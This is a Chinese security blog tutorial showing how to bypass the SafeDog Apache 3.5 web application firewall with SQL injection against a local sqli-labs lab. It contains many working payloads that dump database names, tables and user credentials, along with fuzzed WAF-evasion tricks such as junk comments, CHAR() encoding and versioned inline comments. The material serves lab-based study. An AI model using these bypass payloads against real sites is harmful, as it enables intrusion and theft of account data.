前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >SQL注入 安全狗apache3.5.12048版本绕过

SQL注入 安全狗apache3.5.12048版本绕过

作者头像
乌鸦安全
发布于 2021-08-05 08:03:14
发布于 2021-08-05 08:03:14
56100
代码可运行
举报
文章被收录于专栏:乌鸦安全乌鸦安全
运行总次数:0
代码可运行

更新时间:2021.04.28

没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难度些。上次发的文章里面没安全狗的文件,因为当时安装之后文件就删了,这次有,后台回复关键字:

安全狗3.5 获取

目前我们已经发布关于sql注入的文章和教学:

2019.11.20 更新sqli-labs 全部视频更新完成

SQL注入-安全狗超大数据包绕过

SQL注入 安全狗apache4.0.26655绕过

视频版:

https://space.bilibili.com/29903122

0x01 waf

安全狗 safedogwzApacheV3.5.exe

0x02 搭建

网站:apache+mysql+php

phpstudy2018

php版本4.4.45

sqli-labs

0x03 报错注入

关键句

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='security';
select column_name from information_schema.columns where table_name='users';
select username,password from security.users;
代码语言:javascript
代码运行次数:0
运行
复制

手动注入

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users
代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(下面的内容不要直接复制)
http://127.0.0.1/sqli/Less-1/?id=1’     查看是否有注入
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+   查看有多少列
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+  查看当前数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+  查看数据库security
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所以的列信息
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(~,username,password) from security.users limit 1,1--+ 查询一个账号和密码
或者是:http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+  直接可以得到所有的账号和密码,
并且使用~符号进行分割。
代码语言:javascript
代码运行次数:0
运行
复制

工具注入

代码语言:javascript
代码运行次数:0
运行
复制

0x04 安全狗安装

在安装的时候提示有一个服务名不能为空,这里需要phpstudy调整至系统服务模式。

然后调出任务管理器界面,查看所有服务

将服务写上,安装成功之后,注意不要选择在线安装服务器安全狗,安装之后会显示启动web服务失败,这里将phpstudy重启即可

使用恶意的参数进行测试下,安全狗生效

运行脚本:

网站防护日志:

0x05 Fuzz

在mysql的fuzz里面一般有以下的思路:(不止)

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
使用大小写绕过
使用/**/注释符绕过
使用大的数据包绕过
使用/!**/注释符绕过
……
代码语言:javascript
代码运行次数:0
运行
复制

1. 测试单引号

http://10.211.55.9/Less-1/?id=1'显示正常

http://10.211.55.9/Less-1/?id=1' --+ 显示正常

2. 测试and

直接使用and的时候,没有异常,但是使用and 1=1的时候,出现问题

正常

拦截

这里测试发现 and 可以出现,但是1不可以出现,既然无法绕过,这里尝试使用注释符来进行测试

3. 测试注释符

在这随机手写了一个,然后就过了。。。。

/*@%$^(*/

http://10.211.55.9/Less-1/?id=1' and/*@%$^(*/ 1=1 --+

继续:

使用order by指令

http://10.211.55.9/Less-1/?id=1' order by 4 --+

这里可以测出来一共存在三列,然后使用联合查询来试试

http://10.211.55.9/Less-1/?id=1' union select 1,2,3 --+

如果只有union呢?试试

http://10.211.55.9/Less-1/?id=1' union --+ 正常

select呢

http://10.211.55.9/Less-1/?id=1' union select --+

gg

使用刚刚的注释符试试

http://10.211.55.9/Less-1/?id=1' union /*@%$^(*/ select --+正常

继续

http://10.211.55.9/Less-1/?id=1' union /*@%$^(*/ select 1,2,3 --+显示正常

继续:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=-1'  union /*@%$^(*/ select 1,2,3 --+

正常

那就可以来取数据了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=-1'  union /*@%$^(*/ select 1,2, database() --+

错误

看来database()被过滤,那这里面对其进行绕过

4. 测试database()

在这里经过多次测试之后发现,database()可以使用database/**/()进行绕过

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2, database/**/() --+

显示正常

此时已经获得了数据库名称为security

继续操作来进行下一步,直到能够获取所有的关键信息

现在已知数据库之后,开始获取数据库中的表信息:

对第三个位置来获取表信息:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,
或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的

试试:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 --+

情理之中,开始准备fuzz

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name     --+

正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name   from  --+

此时显示异常

经过fuzz发现,from是关键字,table_name 并不是关键字,所以需要对from进行绕过

经过多次多组fuzz发现,这里需要使用chr()来进行绕过

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   CHAR(102, 114, 111, 109)   --+

成功

但是在这里是没法继续下去的

内联注释知识点
  • /*!select*/: 相当于没有注释
  • /*!12345select*/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。
  • /*![]*/: []中括号中的数字若填写则必须是5位
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(schema_name)  /*!00000%23/*%0afrom */ information_schema.schemata   --+

fuzz成功

这里使用

/*!%23/*%0afrom*/

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(table_name)  /*!%23/*%0afrom*/ information_schema.tables where table_schema='security' --+
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(column_name)  /*!%23/*%0afrom*/ information_schema.columns where table_name='users' --+
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2,group_concat(concat_ws(0x7e, username, password))  /*!%23/*%0afrom*/ security.users --+

tamper编写

后面出视频

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
[译]响应式图像
练小习
2017/12/29
2.2K0
响应式布局,你需要知道这些
https://juejin.cn/post/6951575591099301895
前端达人
2021/05/11
1.8K0
web图像的常见应用策略与技巧
文章主要讲述了如何通过修改SVG的src属性来加载不同版本的SVG文件,并介绍了两种回退策略:使用image-set和动态设置src。同时,也介绍了一些关于加载优化的技巧,例如使用data uri和base64编码。在总结中,提到了这些技术的使用场景和注意事项,以帮助读者更好地理解和应用这些技术。
练小习
2017/12/01
1.7K0
前端基础知识概述 -- 移动端开发的屏幕、图像、字体与布局的兼容适配
前端的一大工作内容就是去兼容页面在不同内核的浏览器,不同的设备,不同的分辨率下的行为,使页面的能正常工作在各种各样的宿主环境当中。
Sb_Coco
2019/09/06
3.2K0
响应式图片解决方案
来源:学生做的网站,方便大家学习交流设计与技术 http://www.uidask.com/index.php 网站的平均加载已经到了近 2MB 并在不断地增加中,其中图片占据了绝大多数流量(63%)。可以肯定的是网页已经有了严重的大小问题,而图片就是罪魁祸首。虽然已经有很多种 措施 可以减少网页加载量,但或许更重要的步骤之一是确保响应式图片的加载方案。通过利用响应式图片解决方案,我们可以确保最佳的图片被加载,带宽不会被过大的图片所浪费。因此 W3C 定义了 picture 标签:基于检测客户端设备类型
用户1730674
2018/05/02
1K0
随方逐圆--全面理解CSS媒体查询
在CSS2中,媒体查询只使用于<style>和<link>标签中,以media属性存在;media属性用于为不同的媒介类型规定不同的样式,而真正广泛使用的媒介类型是'screen'、'print'和'all'
江米小枣
2020/06/15
1.3K0
响应式布局的实现
响应式布局指的是同一页面在不同屏幕尺寸或者在不同的设备下有不同的布局,能够在大屏设备以及小屏设备获得更好的浏览体验,简单来说就是页面适应终端而无需为每个终端制作单独的页面。
WindRunnerMax
2020/08/27
2K0
详细的聊一聊如何使用响应式图片,提升网页加载速度
确保图片在所有屏幕尺寸上都能良好显示是一项困难的任务,因为你需要考虑图片的大小、图片的放置位置、显示图片的比例、用户连接的速度等等众多因素。结果是,大多数开发者只会为所有屏幕尺寸使用同一张图片,并让浏览器调整图片的大小以适应屏幕。这是一种不好的做法,因为浏览器仍会下载完整尺寸的图片(通常非常大),即使它只以其一部分尺寸显示。这会浪费用户的带宽,并且会显著减慢页面加载速度(尤其是在较慢的连接下)。
前端达人
2023/08/31
6440
详细的聊一聊如何使用响应式图片,提升网页加载速度
CSS&HTML面经专题——(四)移动端响应式布局
在移动端viewport视口(pc端没有这个概念)就是浏览器显示页面内容的屏幕区域。
玖柒的小窝
2021/10/26
2.5K0
【Web前端】CSS 响应式设计(补充)
随着移动设备的普及,网页设计的焦点逐渐转向了响应式设计。响应式设计不仅要求网页在各种屏幕尺寸上良好展示,还要适应不同设备的特性。
一条晒干的咸鱼
2024/11/19
2660
【Web前端】CSS 响应式设计(补充)
关于移动端适配,你必须要知道的
上面这些问题可能我们在开发中已经知道如何解决,但是问题产生的原理,以及解决方案的原理可能会模糊不清。在解决这些问题的过程中,我们往往会遇到非常多的概念:像素、分辨率、 PPI、 DPI、 DP、 DIP、 DPR、视口等等,你真的能分清这些概念的意义吗?
ConardLi
2019/05/23
2K0
移动端自适应的常见手段
完整高频题库仓库地址:https://github.com/hzfe/awesome-interview
HZFEStudio
2021/10/01
2K0
54个CSS重难点整理,12-24篇,进阶高薪必需要掌握的知识点
本次我把CSS中的重难点整理出来,总共54个核心知识点,供大家复习,希望能帮到大家。这些重难点是进阶高薪必需要掌握的知识点,同时也是面试必问的内容。
艾编程
2022/12/06
1.4K0
54个CSS重难点整理,12-24篇,进阶高薪必需要掌握的知识点
超越媒体查询:使用更新的特性进行响应式设计
除了使用媒体查询和现代CSS布局(例如flexbox和grid)来创建响应式网站之外,我们使用一些比较不太被用或者比较新的特性来制作响应式网站。 在本文中,我们将探讨许多可用的工具(围绕HTML和CSS),从响应图像到相对较新的CSS函数,无论我们是否使用媒体查询,它们都可以正常工作。
前端小智@大迁世界
2020/10/28
4.2K0
静态布局、自适应布局、流式布局、响应式布局、弹性布局等的概念和区别
1、布局特点:不管浏览器尺寸具体是多少,网页布局始终按照最初写代码时的布局来显示。常规的pc的网站都是静态(定宽度)布局的,也就是设置了min-width,这样的话,如果小于这个宽度就会出现滚动条,如果大于这个宽度则内容居中外加背景,这种设计常见与pc端。 2、设计方法:   PC:居中布局,所有样式使用绝对宽度/高度(px),设计一个Layout,在屏幕宽高有调整时,使用横向和竖向的滚动条来查阅被遮掩部分;   移动设备:另外建立移动网站,单独设计一个布局,使用不同的域名如wap.或m.。
何处锦绣不灰堆
2020/05/29
11.2K0
微信小程序布局单位的使用
rpx单位是微信小程序中css的尺寸单位,rpx可以根据屏幕宽度进行自适应。官方推荐微信小程序可以用iPhone6 作为视觉稿的标准。规定屏幕宽为750rpx。如在 iPhone6 上,屏幕宽度为750 px,则共有个750 物理像素,则750 rpx = 375px = 750 物理像素 例如 : 1rpx = 0.5px = 1物理像素
用户2305175
2018/06/24
3.1K0
vw, vh视窗宽高单位的使用
不过“我看见你”和“我触碰你”是不一样的。正好,机缘巧合,最近又与这两个单位想见。大致琢磨了下,貌似vh这个单位可以实现我以前曾希望实现的的整体高度自适应布局。想到这里,自己不由得小兴奋了下,于是决定抽时间研究研究(虽然最近整iPad忙得屁股尿流~~)。
javascript.shop
2019/09/05
2.6K0
vw, vh视窗宽高单位的使用
布局常用解决方案对比(媒体查询、百分比、rem和vw/vh)
简要介绍:前端开发中,静态网页通常需要适应不同分辨率的设备,常用的自适应解决方案包括媒体查询、百分比、rem和vw/vh等。本文从px单位出发,分析了px在移动端布局中的不足,接着介绍了几种不同的自适应解决方案。
用户8639654
2021/07/26
2.2K0
【学习图片】11.描述性语法
在这个模块中,我们将学习如何为浏览器提供一系列图像选择,以便它可以做出最佳的显示决策。srcset不是在特定断点切换图像源的方法,也不是为了将一张图像换成另一张。这些语法允许浏览器独立地解决一个非常困难的问题:无缝地请求和渲染一个适合用户浏览上下文的图像源,包括视口大小、显示密度、用户偏好、带宽和一些其他因素。
前端小智@大迁世界
2023/03/08
1.2K0
【学习图片】11.描述性语法
网站自适应布局为什么我要抛弃rem,改用vw?
你还在用rem弹性布局吗?在html文件头部放入一大段压缩过的js代码,是不是让你很难受?来了解下vw吧,能让你的代码更纯粹。
李洋博客
2021/06/15
3.6K0
推荐阅读
相关推荐
[译]响应式图像
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档